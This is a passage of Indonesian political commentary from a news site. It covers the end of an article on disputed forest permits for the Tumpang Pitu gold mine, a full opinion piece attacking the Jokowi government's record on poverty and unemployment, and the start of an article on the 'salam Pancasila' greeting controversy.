masyarakat yang mayoritas mata pencahariannya sebagai nelayan dan petani di wilayah tersebut. Pasca hadirnya industri pertambangan di bukit Tumpang Pitu, Desa Sumberagung, sebagian aktivitas dan mata pencaharian warga yang terkait langsung dengan Tumpang Pitu sekarang ini hilang, yakni: mencari rumput untuk kebutuhan peternakan, mencari tanaman obat-obatan, mencari air untuk kebutuhan pertanian, dsb. Kehadiran Pertambangan emas di Tumpang Pitu sama sekali tidak berbasis partisipasi warga Negara secara utuh. Warga sama sekali tidak menerima informasi terkait pertambangan, dan tidak dilibatkan dalam sosialisasi AMDAL maupun proses dokumen lingkungan lainnya. Padahal PerMen LH No 17 Tahun 2012 Tentang Pedoman Keterlibatan Masyarakat dalam Proses AMDAL dan Izin Lingkungan telah menggariskan kewajiban mengenai sosialisasi AMDAL kepada masyarakat terdampak. Sementara itu dalam hal penggunaan kawasan hutan untuk pertambangan emas Tumpang Pitu, Banyuwangi, kami menduga telah terjadi pelanggaran administratif dalam hal-hal berikut ini: Pertama, Perubahan status kawasan hutan lindung menjadi hutan produksi terbatas. Hutan yang sekarang dipakai sebagai kawasan pertambangan emas oleh PT Merdeka Cooper Gold awalnya adalah kawasan hutan lindung. Pada 10 Oktober 2012, melalui surat nomor 522/635/429/108/2012 Bupati Banyuwangi Abdullah Azwar Anas mengusulkan perubahan fungsi kawasan Hutan Lindung seluas + 9.743, 28 ha terletak di BKPH Sukamade, Kecamatan Pesanggaran, Banyuwangi menjadi Kawasan Hutan Produksi Tetap. Permohonan perubahan ini jelas terkait dengan kepentingan pertambangan emas di yang tidak diperbolehkan berlangsung di hutan lindung. Pada 19 November 2013 berdasarkan Keputusan Menteri Kehutanan (SK.826/Menhut–II/2013) 1.942 ha hutan lindung di Tumpang Pitu kemudian diturunkan statusnya menjadi hutan produksi. Padahal, penurunan status kawasan hutan itu tidak boleh dilakukan dengan sembarangan. Peraturan Pemerintah Nomor 104 Tahun 2015 Tentang Tata Cara Perubahan Peruntukan Dan Fungsi Kawasan Hutan pasal 39 menyebutkan: Bahwa perubahan fungsi kawasan hutan lindung menjadi kawasan hutan produksi hanya bisa dilakukan dengan ketentuan jika kawasan hutan lindung itu sudah dinilai tidak memenuhi kriteria sebagai kawasan Hutan Lindung. Kriteria suatu wilayah bisa ditetapkan sebagai hutan lindung dapat dilihat pada SK Menteri Pertanian Nomor 837/Kpts/Um/11/1980 Tentang Kriteria Dan Tata Cara Penetapan Hutan Lindung yang pada dasarnya merujuk kepada lereng lapangan dan jenis tanah menurut kepekaannya terhadap erosi dan intensitas hujan dari wilayah yang bersangkutan. Pada wilayah BKPH Sukamade yang diajukan perubahan kawasan hutannya dari hutan lindung menjadi hutan produksi sejauh ini tidak ada perubahan besar yang mengakibatkan tingkat lereng lapangan serta jenis tanah menurut kepekaan terhadap erosi dan intensitas hujan dari kawasan hutan lindung di Tumpang Pitu untuk menjadi dasar perubahannya menjadi hutan produksi, sehingga perubahan kawasan ini dari hutan lindung menjadi hutan produksi layak dipertanyakan. Kedua, Penerbitan Izin Pinjam Pakai Lawasan Hutan (IPPKH). Penggunaan kawasan hutan untuk kegiatan pertambangan melalui mekanisme IPPKH memunculkan permasalahan pada tingkat implementasi, terutama kemampuan peminjam melakukan reklamasi dan mengembalikan objek pinjam pakai kawasan hutan seperti semula. Advokat yang concern dengan persoalan hukum lingkungan itu menyebut, saat ini kawasan hutan di Provinsi Jatim masih kurang dari 30% (28,47%), sedangkan kegiatan pertambangan dalam kawasan hutan tentu meningkatkan angka deforestasi. Sehingga penerbitan Izin Pinjam Pakai Kawasan Hutan tidak sejalan dengan Undang-Undang Nomor 41 tahun 1999 tentang Kehutanan yang mengamanatkan luas kawasan hutan minimal 30% dari luas DAS atau Pulau dengan sebaran secara proporsional. Pada 25 Juli 2014 setelah penurunan status hutan lindung, maka keluarlah Izin Pinjam Pakai Kawasan Hutan (IPPKH) No. 812/Menhut –II/ 2014, serta pada 29 Februari 2016 dengan surat nomor 18/1/IPPKH/PMDN/2016. Namun, dalam Buku Basis Data Spasial Kehutanan 2016 yang dipublikasikan Kementrian Lingkungan Hidup dan Kehutanan menyebutkan, IPPKH dengan Nomor SK.812/Menhut-II/2014 yang dimiliki PT Bumi Suksesindo (anak perusahaan PT Merdeka Cooper Gold) ada di kategori: Non Tambang, hal ini jelas tidak sesuai dengan aktivitas PT Bumi Suksesindo yang jelas-jelas adalah pertambangan. Ketiga, Prosedur tukar-menukar kawasan hutan. Peraturan Menteri Kehutanan Nomor: P.32/Menhut-II/2010 tentang Tukar Menukar Kawasan Hutan menyebutkan larangan untuk menebang pohon dan wajib mempertahankan keadaan vegetasi hutan pada kawasan perlindungan setempat pada areal dengan radius atau jarak sampai dengan: 500 (lima ratus) meter dari tepi waduk atau danau; 200 (dua ratus) meter dari tepi mata air dan kiri kanan sungai di daerah rawa; 100 (seratus) meter dari kiri kanan tepi sungai; 50 (lima puluh) meter dari kiri kanan tepi anak sungai; 2 (dua) kali kedalaman jurang dari tepi jurang; dan 130 (seratus tiga puluh) kali selisih pasang tertinggi dan pasang terendah dari tepi pantai. Melihat masifnya pembabatan hutan di kawasan hutan yang sekarang dipakai sebagai wilayah pertambangan emas, patut diduga kuat telah terjadi penebangan pada kawasan perlindungan setempat di wilayah tersebut. Masyarakat menyatakan bahwa di wilayah yang sekarang dipakai sebagai area pertambangan itu terdapat sumber mata air yang kemudian turun menjadi sungai yang bermuara di Pulau Merah. Peraturan Menteri Kehutanan Nomor : P.32/Menhut-II/2010 tentang Tukar Menukar Kawasan Hutan juga menggariskan bahwa lahan pengganti kawasan hutan harus memenuhi persyaratan sebagai berikut: 1) letak, luas dan batas lahan penggantinya jelas; 2) letaknya berbatasan langsung dengan kawasan hutan; 3) terletak dalam daerah aliran sungai, pulau, dan/atau provinsi yang sama; 4) dapat dihutankan kembali dengan cara konvensional; 5) tidak dalam sengketa dan bebas dari segala jenis pembebanan dan hak tanggungan; 6) mendapat rekomendasi dari gubernur dan bupati/walikota. Hingga saat ini letak, luas dan lahan pengganti kawasan hutan yang dipakai oleh PT Merdeka Cooper Gold tidak pernah ditunjukkan secara pasti. Ketiadaan informasi ini menguatkan dugaan bahwa proses tukar menukar kawasan hutan di area pertambangan emas Tumpang Pitu tidak dilakukan dengan benar dan memiliki potensi melakukan pelanggaran. Pasal 99 Peraturan Menteri ESDM No. 11 Tahun 2018 menentukan, pencabutan izin tanpa melalui tahap pemberian peringatan tertulis dan pemberhentian sementara kegiatan pertambangan jika dari hasil evaluasi yang dikeluarkan itu menyalahi aturan. Demi menyelamatkan masyarakat, Subagyo menyarankan, Gubernur bahkan bisa membuat diskresi yang tidak harus patuh dengan prosedur hukum administrasi negara. “Karena penerbitan izinnya sendiri sudah melanggar fungsi kawasan konservasi dan pesisir serta rawan bencana,” tegasnya. (Selesai) *** Penulis wartawan senior.

Ir. Joko Widodo, Tito Karnavian PhD: Bukan Hoax di Medsos. Negara Abai Orang Miskin dan Penganggur!

Oleh Natalius Pigai Jakarta, FNN - Indonesia Hari ini: “Orang miskin 25,14 juta, 22 juta orang Kelaparan, Indeks Kematian Ibu 308/ 1 ribu kel, Indeks Kematian anak 40/ 100 ribu kel. Partisipasi sekolah menengah pertama 67& terendah. Pengangguran naik 7,05 juta. Pertumbuhan ekonomi 2019 turun dari 5,07 ke 5,02. Petumbuhan Industri hanya 3%, Sejumlah 188 pabrik di Jawa Barat Tutup, 68 ribu PHK. Lahan Pangan berkurang tiap tahun 200 ribu Ha di Jawa dari 8 juta Ha. Indeks Ketahanan Pangan Rendah ke-17, IPM menurun dari 116 dunia 2014 ke 108 dunia 2019. 5 tahun kepemimpinan Jokowi telah membesarkan orang kaya sebesar 17.00 orang dari 11 Ribu Trilyun APBN, Pundi-Pundi orang kaya bertambah 10 perseran tiap tahun. Kesenjangan paling terendah di dunia.” Pernyataan Menteri Dalam Negeri (Mendagri) Tito Karnavian menyoroti tingginya angka pengangguran di Indonesia yang menurutnya mencapai 7 juta orang. Menurutnya, ada hal negatif yang muncul ketika seseorang tidak memiliki pekerjaan. Mereka menjadi rentan untuk melakukan hal tidak bermanfaat di media sosial (medsos). "Jadi kita melihat hoax terjadi, salah satu faktor hoax terjadi karena nganggur, nganggur nggak ada kerjaan lain, apa saja dikomenin, masuk grup ini, masuk grup itu. Itu kita lihat," kata Tito dalam Rapat Koordinasi Nasional (Rakornas) Investasi 2020 di Ritz-Carlton Pacific Place, Jakarta, Kamis (20/2/2020). Muda mudahan saja bahwa ini sebuah guyonan, namun kalau serius maka cukup mengagetkan karena pemerintah tentu tidak boleh melihat cara pandang di luar konteks bernegara. Bahwa Persoalan penganggur dan Kemiskinan adalah persoalan bangsa manapun di dunia, maka para ahli Statistik menyiapkan dalil-dalil untuk mengukur naik turunnya Indeks pengangur dan orang miskin. PBB pada alinea pertama dalam pembukaan Deklarasi Universal HAM juga menegaskan kewajiban negara untuk memenuhi kebutuah HAM (state obligation to fulfill on human raight needs). Maju tidaknya sebuah negara tudak hanya diukur dari Gedung-Gedung Pencakar langit dan jembatan-jembatan tanpa sungai di metropolitan, infrastruktur yang luar biasa tetapi seberapa besar negara mampu mengurangi tingkat Kemiskinan dan Penganguran. Kalau hanya dilihat dari infrastruktur apa bedahnya antara Mexico, Gimana Juato, Oaxaca, Zakatekas dan New Mexico di USA, apa bedanya Korea Utara dan Selatan, Jerman Timur dan Barat. Mexico, Korut dan Jerman Barat banyak orang miskin dan pengangur itu bedahnya. Supaya lebih jelas dipahami tentang sumber pengangur dan Kemiskinan yang makin tinggi maka selanjutnya saya akan menjelaskan berikut. APBN Salah Arah: 5 Tahun APBN 11 Ribu Trilyun, 17.000 Orang Kaya Baru di Indonesia Sejak tahun 2014 sampai 2019 dalam kurun waktu 5 tahun, Pemerintah menggunakan APBN sebanyak kurang lebih 11 ribu trilyun jika dihitung pertahun APBN 2.200 trilyun. Pada periode pertama Presiden Joko Widodo pemanfataan APBN hanya dirahakan pada pembangunan infrastruktur. Uang rakyat diinvestasikan pada pembangunan infrastruktur ternyata tidak mampu mendongkrak pertumbuhan ekonomi, penciptaan lapangan kerja serta peningkatan kesejahteraan orang miskin. Kelompok oligarki ekonomi memainkan peran penting sebagai pelaksana pembangunan infrastruktur, dibangun dengan bahan baku import, menyedot lapangan kerja yang terbatas juga tidak mampu menciptakan multiplier efek bagi peningkatan kapasitas sosial ekonomi bagi masyarakat. Thesis yang saya sampaikan tersebut di atas ternyata terbukti bahwa perioritas pembangunan infrastruktur hanya meningkatkan akumulasi modal bagi kaum elit. Hasil survei Global Wealth Report 2014 yang diterbitkan oleh Credit Suisse, Indonesia kini memiliki 98 ribu miliarder, dan tahun 2017 menjadi 111 ribu penduduk Indonesia juga digolongkan sebagai miliuner atau orang yang memiliki pendapatan di atas US$ 1 juta atau setara Rp 13,5 miliar. Dan tahun 2019 Indonesia memiliki 115.000 penduduk yang masuk ke dalam kategori 1 persen orang paling kaya di dunia. Berdasarkan laporan Global Wealth Report 2019 yang dikeluarkan oleh Credit Suisse. Selain itu, 115.000 penduduk Indonesia masuk dalam 1 persen orang yang memegang kekayaan global. Bukan menurut saya tetapi menurut Credit Suisse bahwa jumlah ini telah menujukkan kesenjangan di Indonesia lebih tinggi dibanding rata-rata dunia. Koefisien gini (ukuran ketidakmerataan atau ketimpangan) mencapai 83 persen, dengan nilai aset mereka yang masuk dalam kategori 1 persen tersebut mencakup 45 persen dari keseluruhan aset kekayaan penduduk Indonesia. Menurut Credit Suisse kedua kategori baik ketidamerataan maupun juga jurang ketimpangan tergolong tinggi untuk standar internasional. Negara Makin Jauh Dari Orang Miskin Kemiskinan merupakan problem serius suatu negara manapun. Salah satu tolak ukur kemajuan suatu negara adalah memajukan masyarakat yang adil dan makmur. Bangsa manapun tidak akan mencapai cita-cita sejahtera apabila jumlah penduduk miskin makin tinggi. Garis kemiskinan (GK) rakyat dilihat atas penjumlahan 2 variabel utama yaitu Garis Kemiskinan Makanan (GKM) yang dilihat menurut konsumsi kalori maksimum, untuk negara kita dihitung dari konsumsi 2100 per kapita /hari dan Garis Kemiskinan Non Makanan (GKNM). Garis Kemiskian Non Makanan (GKNM) merupakan kemampuan rakyat untuk memenuhi aspek sandang, perumahan, pendidikan dan kesehatan. Oleh karena itulah maka pengentasan kemiskinan menjadi amat penting bagi sebuah bangsa karena akan mengukur kemampuan rakyat memenuhi kebutuhan dasar (basic need approach). Penjelasan saya berikut ini belum bisa dulu menjelaskan angka kemiskinan menurut Kabupaten/kota karena sampai saat ini BPS belum merilis untuk membeli buku data maupun juga row data BPS yang memang saya selalu langganan sejak lama, padahal data lengkap ini penting untuk melihat indeks kedalaman kemiskinan (poverty gab index) istilah statistik dengan simbol (P1). Namun akan saya jelaskan potret buram kemiskinan negeri ini dibawah kepemimpinan Jokowi setelah bulan Agustus 2019. Meskipun demikian saya memiliki data nasional sehingga selanjutnya akan menjelaskan perkembangan global atau data secara nasional baik dalam angka postulat maupun juga persentase kemiskinan sejak orde baru masa Presiden Suharto tahun 1998 sampai dengan Joko Widodo 2018 yaitu kurang lebih 20 tahun. Perbandingan ini penting karena gambaran periodik ini akan membuka tabir kemampuan (kapabilitas) seorang presiden, siapa Presiden yang pro dan tulus terhadap orang miskin (pro poor) dan siapa presiden yang tidak peduli dengan orang miskin, siapa Presiden yang lebih pro kepada Sekelomok elit oligarki dan orang-orang kaya. Tahun lalu, semua orang terperangah mendengar pernyataan Menteri Keuangan yang konon katanya terbaik Sri Mulya Indrawati serta Kepala Badan Pusat Statistik RI. Bagi orang awam seantero Republik Indonesia terperangah mendengar kata-kata “penurunan tertinggi sepanjang sejarah Republik Indonesia karena terjadi penurunan hingga mencapai 9,86% atau 25,96 juta”. Konon katanya juga baru pertama kali memasuki 1 digit yaitu dibawah 10 persen. Sebelum saya mengulas Jokowi adalah presiden sepanjang sejarah yang paling buruk kinerja dalam menurunkan angka kemiskinan, terlebih dahulu perlu saya analis hasil rilis Menkeu dan Kepala BPS. Bahwa penurunan angka kemiskinan adalah wajar dan normal, tidak ada yang lebih hebat karena sejak jaman Soeharto, Habibie, Megawati, SBY sampai Jokowi angka kemiskinan mengalami penurunan. Berikut saya menyajikan data penurunan angka kemiskinan sejak tahun 1998 dilihat menurut periode kepemimpinan Presiden. Dalam kurun waktu 20 tahun kemiskinan mengalami penurunan dari 24,43 menjadi 9,41 yaitu turun sebesar 14,90%, atau bila dilihat dari angka postulat maka jumlah penduduk miskin dari 49,50 juta tahun 1998 menjadi 25,14 juta pada tahun 2019. Kalau mau jujur soal reputasi terbaik “sepanjang sejarah” maka masing-masing-masing Presiden memiliki reputasi terbaik sepanjang sejarah jika dilihat dari massa dimana Presiden masing-masing memimpin. Pada masanya Presiden Habibie terbaik sepanjang sejarah karena menurunkan angka kemiskinan dari 24,43% menjadi 23,42%. Demikian pula Gus Dur memecahkan rekor terbaik dijamannya menjadi 18,41%, dan seterusnya akhirnya jaman Jokowi menjadi 9,86% juga terbaik sepanjang sejarah. Dan seterusnya jika siapapum terpilih menjadi Presiden akan memecahkan rekor karena kemiskinan di negeri ini juga seluruh dunia cenderung mengalami penurunan secara alamiah. Oleh karena itu pernyataan pernyataan pemerintah tersebut narasi yang manipulatif dan menyesatkan. Selanjutnya kalau kita melihat kinerja masing-masing presiden terkait seberapa besar upaya menurunkan angka kemiskinan maka Presiden Jokowi merupakan Presiden paling terburuk kinerjanya dalam menurunkan angka kemiskinan. Dengan demikian Presiden Jokowi dalam jangka waktu 5 tahun, hanya mampu menurunkan angka kemiskinan 1,1% Sangat kecil sekali dibandingkan dengan presiden-presiden yang lain. Lebih ironi lagi bahwa Jokowi 5 Tahun Orang Miskin Turun 1,1%, sementara pundi-pundi Orang Kaya Naik 10%. Data yang saya hitung dari Laporan BPS bahwa Kepemimpinan Presiden BJ Habibie berhasil menurunkan angka kemiskinan dari jumlah 24,43 persen menjadi 23,42 persen. Diketahui, Habibie menjadi presiden hanya 1 tahun dan 5 bulan. Kemudian, Abdurrahman Wahid (Gus Dur) dari 23,42 persen menjadi 18,41 persen atau turun 5,1 persen. Gus Dur memimpin Indonesia dimulai pada 1999 hingga 2001. Di masa pemerintahan Megawati angka kemiskinan dari 18,41 persen menjadi 17,42 persen, kemudian dilanjutkan SBY (Susilo Bambang Yudhoyono-red) dari 17,42 persen turun menjadi 14,15 persen di periode pertama dan menjadi 10,96 persen di periode kedua. Seperti diketahui, Megawati menjadi presiden dimulai pada 23 Juli 2001 sampai 20 Oktober 2004, dan SBY memimpin selama dua periode. Tahun pertama kepemimpinan SBY turun 2,51 persen dan periode kedua turun 3,46 persen. Kemudian lanjut ke Jokowi. Dari 10,96 persen sekarang 9,86 persen. Turunnya itu cuma 1 persen selama empat tahun. Dari data sah BPS, Jokowi itu paling gagal, ia hanya berhasil menurunkan angka kemiskinan sebanyak ,1 persen selama lima tahun. Rp 11 ribu triliun APBN yang dihabiskan. Salah satu kegagalan Jokowi turunkan angka kemiskinan karena selain Jokowi tidak punya niat baik juga tidak punya master plan. Konsepsi dan arah pembangunan yang berorientasi pada, Pengentasan Kemiskian (pro poor), Penciptaan lapangan kerja (pro job), Berorientasi pada pertumbuhan ekonomi (pro growth). Pemerintah Jokowi justru menghadirkan program yang mencekik leher rakyat miskin seperti kenaikan harga BBM, Kenaikan harga listrik, Kenaikan BPJS dan pengendalian harga pangan untuk menekan inflasi yang kurang sehingga penyebab sulitnya mengentaskan kemiskinan di negeri ini. Untuk menurunkan orang miskin di negeri ini tidak sulit. Negara harus memastikan untuk menutup faktor kemiskinan yang muncul karena kalori atau pangan dan non pangan seperti kesehatan, pendidikan serta distribusi uang ke rakyat secara langsung untuk meningkatkan daya beli masyarakat. Uang 11 Ribu Trilyun dalam 5 Tahun APBN adalah jumlah yang besar namum hanya membuat kenyang orang-orang kaya. Pengangguran Bertambah di Tahun 2019 Pada Agustus 2019 jumlah pengangguran di Indonesia mengalami peningkatan menjadi 7,05% atau penganggur bertambah dari 7 persen tahun 2019. Tingkat Pengangguran Terbuka (TPT) adalah indikasi tentang penduduk usia kerja yang termasuk dalam kelompok pengangguran. Pada Bulan Pebruari 2019 Tingkat Penganggur Terbuka 5,01 persen atau 6,82 juta. Jumlah tersebut di tambah dengan pekerja tidak penuh terbagi yaitu pekerja paruh waktu (22,67 persen) dan pekerja setengah penganggur (7,37 persen). Dengan demikian secara keseluruhan jumlah penganggur baik penganggur Tebuka, maupun setengah penganggur menjadi 35,05 persen. Tingkat pengangguran terbuka diukur sebagai persentase jumlah penganggur/pencari kerja terhadap jumlah angkatan kerja berguna sebagai acuan pemerintah bagi pembukaan lapangan kerja baru. Selain itu, perkembangannya dapat menunjukkan tingkat keberhasilan program ketenagakerjaan dari tahun ke tahun. Lebih penting lagi digunakan sebagai bahan evaluasi keberhasilan pembangunan perekonomian, selain angka kemiskinan. Pada tahun 2018 jumlah Tingkat Pengangguran Terbuka sebanyak 5,13 pesen menjadi 5,01 persen di tahun 2019. Mengalami penurunan sebesar 0,12 persen. Walaupun Tingkat pengangguran Terbuka (TPT) mengalami penurunan, namun persentase TPT di Perkotaan lebi h tinggi dari pada di perkotaan yaitu 6,30 persen di kota dan 3,45 persen di pedesaan. Bahkan jika dilihat dari perubahan julah TPT dalam satu tahun terakhir di perkotaan hanya berkurang 0,04 persen dibanding perdesaan sebanyak 0,27 persen. Dilihat dari menurut pendidikan maka Tingkat Pengangguran Terbuka untuk Sekolah Menengah Kejuruan (SMK) masih tertinggi yaitu 8,63 persen, diikuti oleh Diploma I/II/III 6,89 persen. Problemnya adalah penawaran pasar kerja untuk lulusan SMU/ Diploma kurang terserap. Demikian pula lulusan sekolah dasar ke bawah lebih terserap di dunia kerja, dapat di duga karena lulusan sekolah dasar lebih cenderung menerima pekerjaan apa adanya. Pengangguran memang mengalami penurunan dari 7,01 juta di tahun 2017, kemudian 6,87 juta tahun 2018 menjadi 6,82 juta atau 5,01 persen di tahun 2019. Salah satu aspek yang perlu diperhatikan adalah soal setengah penganggur yang tidak banyak disorot publik. Persentase penduduk yang pekerja penuh (jam kerja minimal 35 jam per minggu) sebesar 69,96 persen. Sementara itu, pekerja tidak penuh terbagi menjadi dua, yaitu pekerja paruh waktu (22,67 persen) dan pekerja setengah penganggur (7,37 persen). Dengan melihat angka tersebut di atas penganggur paru waktu dan pekerja setengah penganggur dapat dikategorikan sebagai setengah penganggur. Maka secara keseluruhan jumlah pengangguran di Indonesia 35,05 persen atau 45,27 juta jiwa dari total 129,36 juta Angkatan Kerja di Indonesia. namun soal angka pengangguran ini bisa di berdebatkan. Sesuai dengan Survei Angkatan Kerja Nasional (Sakernas), tingkat penganggur terbuka terdiri dari empat komponen. Pertama, mereka yang tidak bekerja dan mencari pekerjaan. Kedua, mereka yang tidak bekerja dan mempersiapkan usaha. Ketiga, mereka yang tidak bekerja, dan tidak mencari pekerjaan, karena merasa tidak mungkin mendapatkan pekerjaan. Keempat, mereka yang tidak bekerja, dan tidak mencari pekerjaan karena sudah diterima bekerja, tetapi belum mulai bekerja. Konsep penanggulangan ke depan harus dapat mengutamakan penyelesaian terdahulu terhadap akar permasalahannya secara menyeluruh dan konsepsional, ketimbang penyelesaian yang bersifat gradual. Hal ini perlu digaris bawahi sebab seringkali kita mengambil keputusan yang bersifat sementara, hanya sekedar meredam gejolak massa. Padahal yang dibutuhkan oleh seorang pemimpin yang arif dan bijak adalah keputusan-keputusan yang bersifat visioner. Sehubungan dengan ini, penulis memberikan Pekerjaan Rumah (yang berasal dari perpaduan pemikiran rakyat, bagi pemecahan masalah pengangguran yang harus/mutlak dilakukan oleh Presiden dalam rangka memecahkan permasalahan pengangguran. Pada masa yang akan datang harus ada perubahan struktur ekonomi dan keluwesan di pasar kerja yang akan membuat angka elastisitas bisa berubah menjadi lebih baik. Salah satu strategi dasar untuk menciptakan lapangan dan memperluas kesempatan kerja adalah suatu strategi pembangunan yang berorientasi untuk memberi peluang pembukaan lapangan kerja yang produktif dan berorientasi pada peningkatan sumber daya manusia. Pembangunan yang berorientasi pada pengembangan sumber daya manusia itulah yang perlu dilakukan mengingat bangsa kita berjumlah penduduk terbanyak yang berorientasi pada demografik sentris. Natalius Pigai, Mantan Staf Khusus Menakertrans, Pernah menjabat Kasubid Statatik Di Kemenakertrans.

Gaduh Daur Ulang Salam Pancasila

Oleh Dimas Huda Jakarta, FNN - Belakangan ini jagat media sosial diramaikan meme dan sindiran “salam Pancasila”. Hal ini sebagai respon pernyataan Ketua Badan Pembinaan Ideologi Pancasila (BPIP), Yudian Wahyudi, yang konon ingin mengusulkan penggantian salam “assalamu’alaikum” dengan “salam Pancasila”. Ada karikatur pasangan suami istri memijat bel di luar pintu sambil sang suami mengucapkan “salam pancasila…salam pancasila” ketika tidak ada jawaban, si istri berkomentar “mungkin kita ini dikirain sarap..pi”. Ada video juga ketuk-ketuk “salam Pancasila” berulang ulang tak ada jawaban. Akhirnya ia bilang “mungkin ini bukan orang Indonesia..tak cinta Pancasila” sambil balik pergi. Lalu, beredar pula meme “jika ada yang berucap salam pancasila maka jawabnya salam jiwasraya, salam bpjs, salam asabri, salam jual BUMN, salam devisit dan ngutang”. Kesannya memang heboh. Persoalannya, benarkah Yudian mengusulkan untuk mengganti ucapan assalamualaikum dengan salam Pancasila? Pada Sabtu, melalui keterangan tertulis, BPIP menyampaikan tidak pernah mengusulkan penggantian “assalamualaikum” dengan “salam Pancasila”. Direktur Sosialisasi, Komunikasi, dan Jaringan BPIP, Aris Heru Utomo, menjelaskan maksud ucapan Kepala BPIP itu tidak sebagaimana yang diartikan banyak orang saat ini. Usul penggantian “assalamualaikum” dengan “salam Pancasila” boleh jadi diambil dari pernyataan Yudian saat wawancara dengan Detik.com. Wawancara itu didokumentasikan dalam sebuah video yang diunggah oleh Detik.com pada Rabu 12 Februari 2020 pada artikel yang berjudul "Blak-blakan Prof Yudian Wahyudi: Kepala BPIP Sebut Agama Jadi Musuh Terbesar Pancasila". Video wawancara itu berdurasi sekitar 39 menit. Framing yang dilakukan oleh sejumlah situs tentang "usulan mengganti “assalamualaikum” dengan “salam Pancasila" berasal dari menit 29:05 video tersebut. Dialog itu dimulai dengan pertanyaan dari host terkait dengan Menteri Pendidikan dan Kebudayaan pada 1978-1983, Daoed Joesoef. Pertanyaan itu merupakan lanjutan dari dialog sebelumnya tentang bagaimana mewujudkan persatuan di tengah kemajemukan agama. "Saya teringat dengan catatan Prof. Daoed Joesoef, mantan Mendikbud. Dia orang Aceh, muslim. Tapi, ketika menjadi menteri, tidak pernah sekalipun mengucapkan Assalamualaikum di hadapan publik. Tapi, ketika pribadi, dia fasih betul. Mungkinkah nilai-nilai semacam Daoed Joesoef itu diterapkan lagi oleh pejabat kita?" demikian pertanyaan yang dilontarkan oleh host Detik.com . Berikut ini jawaban lengkap Yudian yang ditranskrip dari video wawancara Detik.com: "Dulu, kita sudah mulai nyaman dengan selamat pagi. Tapi, sejak Reformasi, diganti dengan Assalamualaikum. Total, maksudnya dimana-mana. Tidak peduli deh ada orang Kristen, ada orang Hindu, pokoknya hajar aja. Karena ini mencapai titik ekstremnya, maka sekarang muncul kembali. Kalau salam, harus lima atau enam (sesuai jumlah agama yang diakui di Indonesia). Ini kan jadi masalah baru lagi sebenarnya. Sekarang, sudah ditemukan oleh Yudi Latif atau siapa begitu, yang namanya salam Pancasila itu. Maksudnya kan sudah sangat jelas. Jadi, salam itu maksudnya mengucapkan permohonan kepada seseorang sekaligus mendoakan agar selamat. Kalau bahasa Arabnya ya assalamualaikum. Sekarang, kita ambil contoh, ada hadis, 'Kalau Anda jalan, ada orang duduk, Anda harus mengucapkan salam.' Itu kan maksudnya adaptasi sosial. Sekarang, itu saya ulang. Anda kan sudah di zaman industri, zaman teknologi. Kalau mau membalap pakai mobil, salamnya gimana coba? Kan pakai lampu atau pakai klakson. Jadi, kita akan menemukan kesepakatan-kesepakatan, katakan haruslah. Kalau sekarang, kira-kira untuk mempermudah, kita perlukan kembali seperti yang dikatakan Pak Daoed Joesoef. Di dalam public service, cukup dengan kesepakatan nasional. Misalnya, salam Pancasila, umpama. Ini yang perlu dipikirkan hari-hari ini, daripada ribut itu para ulama, 'Kalau kamu ngomong shalom, itu berarti kamu jadi orang Kristen.' Karena yang begitu-begitu sensitif bagi muslim. Padahal, mendoakan orang kan boleh-boleh aja. Wong Nabi Muhammad saja pernah mendoakan raja Kristen kok. Dia meninggal, didoakan, disalati oleh Nabi. Ada unsur kemanusiaannya di situ. Kita juga begitu. Mestinya, ngomong 'shalom' ke orang Kristen tidak ada masalah teologis wong itu hanya untuk menyampaikan supaya kita damai kok. Bagi orang Kristen, mengucapkan salam kan juga tidak menjadi bagian keyakinan teologisnya. Itu kan katakan kode etik sosial yang tidak masuk ke dalam akidah. Kalau kita bisa pahami itu kan tidak ada masalah." Menyimak jawaban Yudian dalam wawancara tersebut maka sejatinya mengganti “assalamualaikum” dengan “ salam Pancasila” sekadar wacana untuk merespon pertanyaan wawancara terkait problem yang tengah dihadapi oleh bangsa ini. Selain itu, Yudian tidak menitikberatkan ucapannya pada salam umat Islam, Assalamualaikum, melainkan juga pada salam umat Kristen. Selamat Pagi Pernyataan Yudian soal salam ini bukan yang pertama mengundang polemik. Pada 1987 K.H. Abdurrahman Wahid sudah diberitakan seperti itu. Majalah Amanah memuat wawancara dengan Gus Dur yang seolah-olah akan mengganti “assalamualaikum” dengan “selamat pagi, selamat sore, dan selamat malam”. Wartawan dan sastrawan, Ahmad Tohari, sempat mencoba meluruskan bahwa apa yang dikatakan Gus Dur tidak persis seperti itu. Kala itu Ahmad Thohari adalah anggota Dewan Redaksi Majalah Amanah. Ia mendengarkan rekaman wawancara wartawan Amanah, Edy Yurnaedi, dengan Gus Dur secara utuh. Intinya, menurut Tohari, Gus Dur mengatakan kemajemukan di dalam masyarakat muslim di Indonesia sudah menjadi kenyataan sejak berabad lalu. Meskipun sebagian besar umat Islam Indonesia menganut Mazhab Syafi’i namun ada juga yang mengambil mazhab lain. Bahkan penganut Islam Syi’ah, Ahmadiyah, abangan pun ada. Menurut Gus Dur, tingkat penghayatan umat pun amat bervariasi dari yang hanya berkhitan dan bersyahadat waktu menikah sampai yang bertingkat kiai. Namun, ujar Gus Dur, kemajemukan itu harus tetap terikat dalam ukhuwah islamiyah atau ikatan persaudaraan Islam. Artinya, sesama umat Islam yang berbeda aliran maupun tingkatan pemahaman seharusnya saling menyambung rasa saling hormat. Gus Dur sangat tidak suka terhadap istilah Islam KTP atau Islam abangan. Baginya, semua orang yang sudah bersyahadat dan berkelakuan baik ya muslim. Mereka yang ketika bertamu masih memberi salam dengan ucapan kula nuwun (Jawa), punten (Sunda) atau selamat pagi, ya muslim karena syahadatnya. “Kalau begitu Gus, ucapan assalamu alaikum bisa diganti dengan selamat pagi?” tanya Edy Yurnaedi. “Ya bagaimana kalau petani atau orang-orang lugu itu bisanya bilang kula nuwun, punten atau selamat pagi? Mereka kan belum terbiasa mengucapkan kalimat dalam bahasa Arab kayak kamu?” Itulah inti pendapat Gus Dur dalam wawancara dengan Edy Yurnaedi. Menurut Ahmad Tohari, Edy mengusulkan wawancara itu dengan penekanan bahwa Gus Dur menganjurkan mengganti assalamu alaikum dengan selamat pagi. Alasannya, Majalah Amanah yang kala itu baru berumur satu tahun harus membuat gebrakan dalam rangka menarik perhatian pasar. ” Kan nanti Gus Dur akan membantah. Dan bantahan itu kita muat pada edisi berikut. Nah, jadi malah ramai kan? Ini cuma taktik pasar kok,” ujar Edy kala itu. Kafrawi Ridwan yang waktu itu jadi pemimpin redaksi lebih suka mengambil sikap momong kepada yang muda. Maka usul Edy ditawarkan kepada rapat. Tentu ada yang pro dan kontra. Celakanya lebih banyak yang pro. Mereka beralasan seperti Edy, cuma taktik pemasaran, 